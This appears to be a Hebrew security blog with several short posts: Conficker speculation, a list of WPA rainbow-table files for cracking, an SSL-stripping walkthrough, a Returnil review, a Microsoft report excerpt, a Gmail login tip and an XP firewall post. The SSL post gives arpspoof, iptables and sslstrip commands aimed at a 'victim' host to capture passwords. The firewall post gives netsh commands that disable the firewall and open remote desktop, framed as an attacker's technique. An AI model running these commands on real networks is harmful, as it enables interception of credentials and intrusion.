Conficker וירוס

וירוס ה - Conficker הוא ללא ספק אחד מהוירוסים היותר חכמים שיצא לי להיתקל בהם,

החוכמה שלו תוכננה בקפידה על ידי אנשי מיקצוע שללא ספק ידעו את עבודתם.

הוירוס הצליח להדביק כ - 8 מיליון מחשבים ברחבי העולם,

וזו הייתה מטרתו העיקרית על פני השטח אך מתחת לפני השטח

אני מרגיש שיש עוד מספר דברים שאנו לא יודעים עליו ונגלה אותם רק בעתיד.

אז מישהו יכול לשאול את עצמו מדוע וירוס ירצה רק להפיץ את עצמו ולא לבצע אף פעולה זדונית.

לנושא זה יכולות להיות מספר אפשרויות הראשונה והפשוטה ביותר היא חדירה לחברות,

לגופים בתחום הבנקאות הביטוח למטרת רווח עתידי.

אפשרות אחרת היא כוח אדיר של 8 מיליון מחשבים במטרה לבצע פעולה של

Denial of Service Attack שגם זו דרך נוספת להרוויח כסף.

אפשרות נוספת היא למטרות ריגול בין מדינות.

ועוד המון אופציות אחרות.

נ.ב בתאריך ה - 1 לאפריל הוירוס יבצע שינוי בפניות לאתרים על ידי יצירת 50,000 שמות דומיין חדשים

אליהם הוא יפנה (אני מקווה שרק זה יקרה, נראה מחר).

אני מצרף ניתוח מעניין שהתבצע על ידי צוות F-SECURE לוירוס (ממליץ לראות):

WPA פריצת

נתבים אלחוטיים בד"כ מאפשרים לנו שני סוגי הצפנות הראשונה היא WEP והשנייה היא WPA.

טוב אז לפרוץ WEP כולנו יודעים שזה אפשרי וגם לפרוץ WPA ניתן היה לבצע בעבר ע"י תהליך של

Bruteforce, אך אחת המיגבלות הייתה שתהליך זה דרש זמן רב במידה והסיסמא הייתה חזקה.

ולכן חברי הטוב מתי אהרוני ועוד קבוצה שלמה של האקרים חביבים יצרו לנו כמות עצומה של טבלאות

מסוג WPA RAINBOW TABLES.

הטבלאות מורכבות מ - SSID (כינוי הנתב שבחרנו) שבד"כ בשימוש על ידי אנשים או חברות, ומכילים

כ - 49 מיליון סיסמאות.

להלן לינקים להורדת הטבלאות מטורנט, הלינקים מחולקים על פי שמות ה - SSID:

101.wpa
130.wpa
188.wpa
2WIRE236.wpa
2WIRE631.wpa
3blindmice.wpa
3Com.wpa
5ECUR3w3p5TOR3.wpa
ACTIONTEC.wpa
ADSL_WiFi.wpa
airportthru.wpa
Airport.wpa
ALICE_WLAN.wpa
ALICE-WLAN.wpa
AMD_IBSS.wpa
ANY.wpa
arescom.wpa
attwifi.wpa
Belkin54g.wpa
Belkin.wpa
bestbuy.wpa
Blitzz.wpa
bob.wpa
buffalo.wpa
Chris.wpa
Comcast.wpa
conexant.wpa
ConnectionPoint.wpa
Cox_Hospitality.wpa
Customer_ID.wpa
david.wpa
dd_wrt.wpa
default.wpa
defcon_lc.wpa
DEFCON.wpa
dlink_wireless.wpa
D_LINK.wpa
D-LINK.wpa
DLINK.wpa
DV201AM.wpa
eduroam.wpa
Ethostream.wpa
eurospot.wpa
fanTM.wpa
flyingj.wpa
freedomlink.wpa
Free_Internet_Access.wpa
freephonie.wpa
FRITZ_Box_Fon_WLAN_7050.wpa
FRITZ_Box_Fon_WLAN_7141.wpa
FRITZ_Box_Fon_WLAN_7170.wpa
FRITZ_Box_Fon_WLAN.wpa
FRITZ_Box_SL_WLAN.wpa
G604T_WIRELESS.wpa
Gateway.wpa
GDS_VCI_01.wpa
GlobalSuiteWireless.wpa
goesh.wpa
GoldenTree.wpa
Guest.wpa
Harvard_University.wpa
hawking.wpa
hhonors.wpa
holidayinn.wpa
home1.wpa
Home_Network.wpa
HOMENETWORK.wpa
HomeNet.wpa
HomeOffice.wpa
HomeRun.wpa
home_wireless.wpa
HomeWireless.wpa
home.wpa
House.wpa
hpsetup.wpa
ibahn.wpa
IBM.wpa
INFIDEL.wpa
INTERMEC.wpa
Internet.wpa
IU_Wireless.wpa
kabelinternet.wpa
laquinta.wpa
linksys1.wpa
linksys2.wpa
linksys_g.wpa
linksys-g.wpa
linksys.wpa
mark.wpa
matrix.wpa
megahoc.wpa
Michael.wpa
mike.wpa
MIT.wpa
mobile.wpa
Motorola.wpa
MSFTWLAN.wpa
MSHOME.wpa
mynetwork.wpa
My_Wireless_Network_A.wpa
mywlan.wpa
NESPOT.wpa
NETGEAR_11g.wpa
NETGEAR.wpa
NETWORK.wpa
net.wpa
no_ssid.wpa
Office.wpa
orange12.wpa
orange14.wpa
orange.wpa
osuwireless.wpa
PCX5000.wpa
Philips_WiFi.wpa
philips.wpa
pi07490509x09.wpa
pi07490509x.wpa
pocwyg7swean.wpa
Print_Server.wpa
Private.wpa
public.wpa
RGXLPQSNGBNYVRAK.wpa
router.wpa
Scott.wpa
SiriCOMM.wpa
SITECOM.wpa
SkyHighSpeed.wpa
SMARTSIGHT.wpa
smc.wpa
sonicwall.wpa
Speedport_W_501V.wpa
SpeedStream.wpa
SST_PR_1.wpa
SST-PR-1.wpa
stayonline.wpa
steve.wpa
test.wpa
Thuis.wpa
TI_AR7WRD.wpa
T_Mobile_T_Com.wpa
tmobile.wpa
Topcom.wpa
torrents.tar
TP_LINK.wpa
tsunami.wpa
University_of_Washington.wpa
Untitled.wpa
USR5461.wpa
USR5462.wpa
USR8054.wpa
USR9106.wpa
Verizon_Wi_Fi.wpa
VICTIM.wpa
WaveLAN_Network.wpa
Wayport_Access.wpa
west.wpa
WiFi.wpa
wirelesslan.wpa
Wireless_Network.wpa
WLAN_AP.wpa
WLAN_PS.wpa
WLAN.wpa
WLCM.wpa
workgroup.wpa
Zoom.wpa
ZyXEL.wpa

SSL SNIFFING

שימוש ב - SSL נמצא היום בכל מקום בנקים,קניונים וירטואלים,חנויות Online ועוד.

עד היום שהתחברנו ל - SSL הרגשנו בטוחים (אף אחד לא יכול לראות ולהאזין למידע שעובר בתווך

מכיוון והמידע מוצפן ובלי התעודה הדיגטאלית לא ניתן לפתוח ולהבין אותו) מצב זה השתנה לאחרונה

ועל ידי שימוש ב - MITM ברשתות LAN, WIFI ובשימוש ב - SSL Strip ניתן להאזין לכלל המידע

שעובר ברשת הכולל סיסמאות של משתמשים נתונים רגישים מידע על חשבונות בנק ,כרטיסי אשראי

ועוד.

להלן הפעולות שיש לבצע על מנת שתהליך זה יעבוד כראוי:

172.16.0.1 =>GATEWAY
172.16.0.66 => VICTIM

בשלב הראשון עלינו לבצע את פעולת ה - MITM על ידי שימוש בפקודות הבאות:

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 172.16.0.66 172.16.0.1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

בשלב הבא יש להריץ את SSL STRIP בעזרת הפקודה הבא:

python sslstrip.py -w secret

להורדת הכלי ניתן לפנות ללינק הבא:

http://www.thoughtcrime.org/software/sslstrip/index.html

למצגת המלאה (ממליץ לא לפספס):

https://media.blackhat.com/bh-dc-09/video/Marlinspike/blackhat-dc-09-marlinspike-slide.mov

לרקע על המצגת:

Returnil

יש תוכנות שהיו יכולות לעזור גם בחיים האמיתיים, לא רק במחשב. כמה פעמים אמרתם או עשיתם משהו בלי לחשוב עליו יותר מדי, אבל גם בלי אפשרות להתחרט ולהחזיר את הגלגל לאחור

במחשב אפשר לחזור אחורה בזמן ולתקן או לבטל טעויות. חלונות מציעה מנגנון מובנה ולא תמיד מושלם של שחזור מערכת, לאפל יש "מכונת זמן" ‭(Time Machine)‬ במערכת ההפעלה שלה, ויש אפשרויות נוספות למשתמשי Windows - ביניהן גם ‭,Returnil‬ תוכנה שיוצרת עותק וירטואלי של הכונן הקשיח ומגינה על הכונן האמיתי.

זכרון של דג

Returnil מתחילה לעבוד עם הדלקת המחשב. מאותו רגע תוכלו לבצע כל שינוי שתרצו אבל לאחר שתפעילו אותו מחדש השינוי ייעלם והמערכת תחזור למצב בו הייתה קודם לכן.

נשמע קצת דמיוני, אבל זה עובד: קובץ שנמחק מהמחשב שב והופיע לאחר הפעלה מחדש, ואילו תמונה שנשמרה באחת התיקיות נעלמה לאחר האתחול. אבל ההגנה של Returnil נרחבת יותר - גם תוכנה שהוסרה מהמחשב באמצעות "הוסף/הסר תוכנה" בלוח הבקרה חזרה למקומה לאחר הפעלה מחדש של המחשב, וחשוב עוד יותר, תוכנה שהותקנה במחשב בזמן ש‭Returnil-‬ עבדה, נעלמה כלא הייתה לאחר כיבוי והדלקה.

המשמעות היא, שבאופן תיאורטי אפשר להפסיק לחשוש - הכל ניתן לתיקון. אפשר להתקין תוכנה החשודה כווירוס ללא חשש לנזק ממשי למחשב, אפשר להסיר תוכנות, למחוק קבצים - הפעלה מחדש של המחשב תתקן הכל. מעשית, כדאי תמיד לעבוד בצורה זהירה כדי לא לגלות במקרה חירום שמשהו בכל זאת השתבש.

הכתבה נלקחה מאתר YNET לכתבה המלאה :

http://www.ynet.co.il/articles/0,7340,L-3661852,00.html

את התוכנה ניתן להוריד ב:

http://www.majorgeeks.com/Returnil_Virtual_System_Personal_Edition_d5702.html

ממליץ בחום למי שאוהב לעשות ניסויים

מנסה להיראות בסדר אל מול הציבור Microsoft

לאחרונה יצא לי לקרוא מאמר שפורסם על ידי Microsoft אשר מבצע

השוואה בין החברות השונות בשוק ובעיות האבטחה שהתגלו במוצרים שלהם.

יש לי הרגשה ש - MICROSOFT מנסה לשפר את התדמית שלה לאור כל

בעיות האבטחה האחרונות שצצו ולאור הוירוסים השונים שניצלו אותם.

להלן הפתיח שלהם:

This report looks at all of the vulnerabilities fixed by Apple, Microsoft, Red Hat and Ubuntu during the first half of 2008. At the vendor level, the report examines all vulnerabilities as well as Days of Risk (DoR) associated with those vulnerabilities. The report further drills down to examine just those issues affecting the commonly installed desktop operating system components. The key findings for 1H08:

• The four vendors fixed a total 585 vulnerabilities in 1H08. 26.8% affected multiple vendors and of those, only 8 were fixed on the same day – the rest had an average 35 day delay between the first available fix and the last available fix..

• Microsoft had the lowest average Days of Risk for all vulnerabilities fixed at 24.22 days, with the next closest vendor at 72 days.

• For desktop OS vulnerabilities, Windows Vista had the fewest vulnerabilities in 1H08 at 21. The next lowest number was Windows XP SP2 at 26.

• Windows Vista customers experienced full or partial mitigation for 46% of the 26 vulnerabilities affecting Windows XP SP2 in 1H08, but also experienced one additional vulnerability in new code.

In addition to these measurements for the vendors and products, the body of the report also provides weighted analysis which provides a lesser consideration for lower severity issues. Please read the full report for details.

למאמר המלא:

http://blogs.technet.com/security/attachment/3140955.ashx

GMAIL

כמה פעמים חשבתי לעצמי האם מישהו פרץ לי למייל.

לפעמים אני מרגיש שאני יותר מדי פרנואיד, אולי בגלל זה אני במקצוע :)

אז כנראה GMAIL קורא את המחשבות שלי וכנראה אני לא הפרנואיד היחידי.

GMAIL מאפשר לנו לראות מספר פרטים מעניינים על תיבת הדואר שלנו

כגון:

• מתי התחברנו לאחרונה לחשבון המייל שלנו.
• מאיזו כתובת IP התחברנו.
• ובאיזה פרוטוקול השתמשנו לחיבור(POP,HTTP).

כל זה מידע מאוד חיוני שיכול לעזור לנו לראות האם מישהו פרץ לתיבת הדואר של GMAIL.

אז איך מגיעים למידע הזה אתם בטח שואלים.

אוקיי בתיבת הדואר הנכנס שלכם רדו למטה עד סוף הדף, בסוף הדף תראו את הדבר הבא שמכיל את כל הפרטים

הנחוצים:

XP Firewall

לא פעם אני רואה שאנשים משתמשים ב - FW של XP כ - FW שמגן עליהם אל מול האינטרנט

ה - FW של XP נבנה עם חשיבה של רשת כך שמנהל הרשת יכול לנהל אותו בצורות שונות

כולל בעזרת SCRIPTS.

לאן אני חותר חישבו ונסו את הדבר הבא:

הפעילו את ה - FW והריצו את הפקודה הבא מ - CMD:

netsh firewall set opmode disable

מה קיבלתם FW סגור כלומר מ - CMD ניתן לכבות את ה - FW

עכשיו נסו את הדבר הבא:

netsh firewall set service remoteadmin enable

netsh firewall set service remotedesktop enable

אופס קיבלתם אפשרות שליטה ב - Remote desktop

עכשיו נניח שאתם רוצים לאפשר לתוכנה מסוימת לצאת החוצה:

netsh firewall add allowedprogram program="c:\windows\system32\calc.exe" name="calc" ENABLE scope=ALL profile=ALL

עכשיו שנו כיוון וחישבו בראש של התוקף. תוקף יכול לנצל פקודות אלו על מנת לשנות חוקים ב - FW ולאפשר לסוס הטוריאני שלו לצאת החוצה לכל מקום.

לא פעם הייתי צריך לנצל את הפקודות הנ"ל על מנת לאפשר עבודה יותר נוחה על המחשבים הניתקפים ו - MICROSOFT היו שם לעזור :)